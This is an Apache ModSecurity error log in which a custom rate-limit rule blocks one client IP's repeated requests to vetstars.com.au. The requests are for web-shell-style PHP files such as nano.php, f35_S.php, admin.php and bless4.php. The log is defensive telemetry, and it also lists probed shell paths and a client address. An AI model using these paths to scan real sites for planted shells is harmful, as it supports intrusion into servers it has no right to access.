[Sun Apr 19 13:01:53.407407 2026] [:error] [pid 47775:tid 47854] [client 51.12.84.102:60956] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aeRhwbmztjlk9tsmoezNfQAAAIs"]
[Sun Apr 19 13:01:54.260379 2026] [:error] [pid 47775:tid 47860] [client 51.12.84.102:52290] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aeRhwrmztjlk9tsmoezNgAAAAJE"]
[Sun Apr 19 13:01:54.825674 2026] [:error] [pid 15760:tid 15792] [client 51.12.84.102:60276] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aeRhwvSdD_XHQMJ_IStOWgAAAdg"]
[Sun Apr 19 13:01:55.630311 2026] [:error] [pid 15693:tid 15707] [client 51.12.84.102:52292] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeRhw8NMD-ccazQlTsk2BQAAAUs"]
[Sun Apr 19 13:01:56.300849 2026] [:error] [pid 15694:tid 15747] [client 51.12.84.102:60227] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeRhxLimB-jol1fwqArh-QAAAZU"]
[Sun Apr 19 13:01:57.170188 2026] [:error] [pid 15763:tid 15807] [client 51.12.84.102:52334] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeRhxbMXv1Y1THOoxaCPGgAAAgs"]
[Sun Apr 19 13:01:57.948776 2026] [:error] [pid 47775:tid 47859] [client 51.12.84.102:52333] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeRhxbmztjlk9tsmoezNjgAAAJA"]
[Sun Apr 19 13:01:58.638129 2026] [:error] [pid 15760:tid 15775] [client 51.12.84.102:60971] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeRhxvSdD_XHQMJ_IStOXQAAAcc"]
[Sun Apr 19 13:01:59.780942 2026] [:error] [pid 15694:tid 15742] [client 51.12.84.102:52248] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeRhx7imB-jol1fwqArh_gAAAZA"]
[Sun Apr 19 13:02:00.872126 2026] [:error] [pid 15763:tid 15802] [client 51.12.84.102:60279] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeRhyLMXv1Y1THOoxaCPHAAAAgY"]
[Sun Apr 19 13:02:02.595149 2026] [:error] [pid 47773:tid 47829] [client 51.12.84.102:52268] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeRhyuiBHdnCJDuPq9DskgAAAE0"]
[Sun Apr 19 13:02:03.499094 2026] [:error] [pid 15760:tid 15791] [client 51.12.84.102:60931] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeRhy_SdD_XHQMJ_IStOYgAAAdc"]
[Sun Apr 19 13:02:04.656615 2026] [:error] [pid 47775:tid 47843] [client 51.12.84.102:60980] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeRhzLmztjlk9tsmoezNnQAAAIA"]
[Sun Apr 19 13:02:07.544962 2026] [:error] [pid 15760:tid 15788] [client 51.12.84.102:52316] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeRhz_SdD_XHQMJ_IStOaQAAAdQ"]
[Sun Apr 19 13:02:11.272137 2026] [:error] [pid 47773:tid 47827] [client 51.12.84.102:45522] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeRh0-iBHdnCJDuPq9DsmgAAAEs"]
[Sun Apr 19 13:02:13.744784 2026] [:error] [pid 47773:tid 47832] [client 51.12.84.102:60270] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeRh1eiBHdnCJDuPq9DsmwAAAFA"]
[Sun Apr 19 13:03:05.801471 2026] [:error] [pid 15760:tid 15769] [client 51.12.84.102:60943] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeRiCfSdD_XHQMJ_IStO6QAAAcE"]
[Sun Apr 19 13:03:11.551899 2026] [:error] [pid 15764:tid 15827] [client 51.12.84.102:60979] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeRiD2LL_sqdSHoVp-R00wAAAkE"]
[Sun Apr 19 13:03:17.450028 2026] [:error] [pid 47773:tid 47820] [client 51.12.84.102:52288] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeRiFeiBHdnCJDuPq9DtBQAAAEQ"]
[Sun Apr 19 13:03:24.690646 2026] [:error] [pid 15765:tid 15869] [client 51.12.84.102:60969] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeRiHPRqinw-W5EwQ77EgQAAApA"]
[Sun Apr 19 13:03:28.739034 2026] [:error] [pid 15763:tid 15806] [client 51.12.84.102:60247] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeRiILMXv1Y1THOoxaCPfQAAAgo"]
[Sun Apr 19 13:03:38.743086 2026] [:error] [pid 15764:tid 15851] [client 51.12.84.102:60256] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRiKmLL_sqdSHoVp-R08AAAAlg"]
[Sun Apr 19 13:03:39.635385 2026] [:error] [pid 15760:tid 15790] [client 51.12.84.102:60248] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRiK_SdD_XHQMJ_IStPtAAAAdY"]
[Sun Apr 19 13:03:40.268445 2026] [:error] [pid 15760:tid 15788] [client 51.12.84.102:52346] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRiLPSdD_XHQMJ_IStPuQAAAdQ"]
[Sun Apr 19 13:03:41.206909 2026] [:error] [pid 15760:tid 15781] [client 51.12.84.102:52330] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRiLfSdD_XHQMJ_IStPwAAAAc0"]
[Sun Apr 19 13:03:41.854179 2026] [:error] [pid 15763:tid 15809] [client 51.12.84.102:60228] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeRiLbMXv1Y1THOoxaCPhwAAAg0"]
[Sun Apr 19 13:03:42.438967 2026] [:error] [pid 47886:tid 47888] [client 51.12.84.102:52256] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeRiLkSe8yiyuPrD7yM7FAAAAMA"]
[Sun Apr 19 13:03:43.022318 2026] [:error] [pid 47772:tid 47802] [client 51.12.84.102:60243] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeRiL4c0L16cb4smAz86NAAAAA0"]
[Sun Apr 19 13:03:43.670524 2026] [:error] [pid 15760:tid 15770] [client 51.12.84.102:60978] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeRiL_SdD_XHQMJ_IStPzQAAAcI"]
[Sun Apr 19 13:03:44.324699 2026] [:error] [pid 15763:tid 15802] [client 51.12.84.102:52269] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeRiMLMXv1Y1THOoxaCPiAAAAgY"]
[Sun Apr 19 13:03:44.968099 2026] [:error] [pid 47886:tid 47890] [client 51.12.84.102:52263] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeRiMESe8yiyuPrD7yM7FgAAAMI"]
[Sun Apr 19 13:03:45.659470 2026] [:error] [pid 15760:tid 15787] [client 51.12.84.102:60238] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeRiMfSdD_XHQMJ_IStP1gAAAdM"]
[Sun Apr 19 13:03:46.324926 2026] [:error] [pid 15760:tid 15770] [client 51.12.84.102:52351] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeRiMvSdD_XHQMJ_IStP2gAAAcI"]
[Sun Apr 19 13:03:47.469445 2026] [:error] [pid 47773:tid 47834] [client 51.12.84.102:52337] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeRiM-iBHdnCJDuPq9DtKgAAAFI"]
[Sun Apr 19 13:03:48.156290 2026] [:error] [pid 47772:tid 47800] [client 51.12.84.102:60225] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeRiNIc0L16cb4smAz86NwAAAAs"]
[Sun Apr 19 13:03:49.052446 2026] [:error] [pid 15764:tid 15836] [client 51.12.84.102:60271] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeRiNWLL_sqdSHoVp-R09AAAAko"]
[Sun Apr 19 13:03:49.741187 2026] [:error] [pid 15693:tid 15701] [client 51.12.84.102:52289] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeRiNcNMD-ccazQlTsk2HwAAAUU"]
[Sun Apr 19 13:03:50.298710 2026] [:error] [pid 15694:tid 15725] [client 51.12.84.102:52234] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeRiNrimB-jol1fwqAriEgAAAYI"]
[Sun Apr 19 13:03:50.857842 2026] [:error] [pid 15760:tid 15787] [client 51.12.84.102:60972] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeRiNvSdD_XHQMJ_IStP9QAAAdM"]
[Sun Apr 19 13:03:51.455206 2026] [:error] [pid 47772:tid 47792] [client 51.12.84.102:60266] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeRiN4c0L16cb4smAz86OAAAAAM"]
[Sun Apr 19 13:03:52.061305 2026] [:error] [pid 47772:tid 47803] [client 51.12.84.102:52338] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeRiOIc0L16cb4smAz86OgAAAA4"]
[Sun Apr 19 13:03:52.750493 2026] [:error] [pid 15764:tid 15830] [client 51.12.84.102:52308] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeRiOGLL_sqdSHoVp-R09QAAAkQ"]
[Sun Apr 19 13:03:53.359970 2026] [:error] [pid 47772:tid 47813] [client 51.12.84.102:52229] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeRiOYc0L16cb4smAz86PQAAABg"]
[Sun Apr 19 13:03:53.935999 2026] [:error] [pid 47772:tid 47807] [client 51.12.84.102:52270] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeRiOYc0L16cb4smAz86QAAAABI"]
[Sun Apr 19 13:03:54.549161 2026] [:error] [pid 47772:tid 47798] [client 51.12.84.102:45513] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeRiOoc0L16cb4smAz86QgAAAAk"]
[Sun Apr 19 13:03:55.232570 2026] [:error] [pid 47772:tid 47808] [client 51.12.84.102:52322] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeRiO4c0L16cb4smAz86QwAAABM"]
[Sun Apr 19 13:03:55.924032 2026] [:error] [pid 15693:tid 15713] [client 51.12.84.102:52255] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeRiO8NMD-ccazQlTsk2IQAAAVE"]
[Sun Apr 19 13:03:56.594469 2026] [:error] [pid 15693:tid 15707] [client 51.12.84.102:60272] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeRiPMNMD-ccazQlTsk2JQAAAUs"]
[Sun Apr 19 13:03:57.495286 2026] [:error] [pid 47886:tid 47901] [client 51.12.84.102:45511] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeRiPUSe8yiyuPrD7yM7GwAAAM0"]
[Sun Apr 19 13:03:58.171842 2026] [:error] [pid 47775:tid 47848] [client 51.12.84.102:60944] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeRiPrmztjlk9tsmoezOJwAAAIU"]
[Sun Apr 19 13:03:59.034918 2026] [:error] [pid 15760:tid 15772] [client 51.12.84.102:60934] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeRiP_SdD_XHQMJ_IStQCgAAAcQ"]
[Sun Apr 19 13:03:59.717027 2026] [:error] [pid 47772:tid 47792] [client 51.12.84.102:60958] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeRiP4c0L16cb4smAz86SQAAAAM"]
[Sun Apr 19 13:04:00.402289 2026] [:error] [pid 15760:tid 15773] [client 51.12.84.102:52261] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeRiQPSdD_XHQMJ_IStQEAAAAcU"]
[Sun Apr 19 13:04:01.091820 2026] [:error] [pid 15764:tid 15846] [client 51.12.84.102:60229] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeRiQWLL_sqdSHoVp-R0_gAAAlQ"]
[Sun Apr 19 13:04:55.121109 2026] [:error] [pid 15763:tid 15818] [client 51.12.84.102:60241] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeRid7MXv1Y1THOoxaCP1QAAAhY"]
[Sun Apr 19 13:04:56.884525 2026] [:error] [pid 47773:tid 47822] [client 51.12.84.102:45565] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeRieOiBHdnCJDuPq9DtTAAAAEY"]
